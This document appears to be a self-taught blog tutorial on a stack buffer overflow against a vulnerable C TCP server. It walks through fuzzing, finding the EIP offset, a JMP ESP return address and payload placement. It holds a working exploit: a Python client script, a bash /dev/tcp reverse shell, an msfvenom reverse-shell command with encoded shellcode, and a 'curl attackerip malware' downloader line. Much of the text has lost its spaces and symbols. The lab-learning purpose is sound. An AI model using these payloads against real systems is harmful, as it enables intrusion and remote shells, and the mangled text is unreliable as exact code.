instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

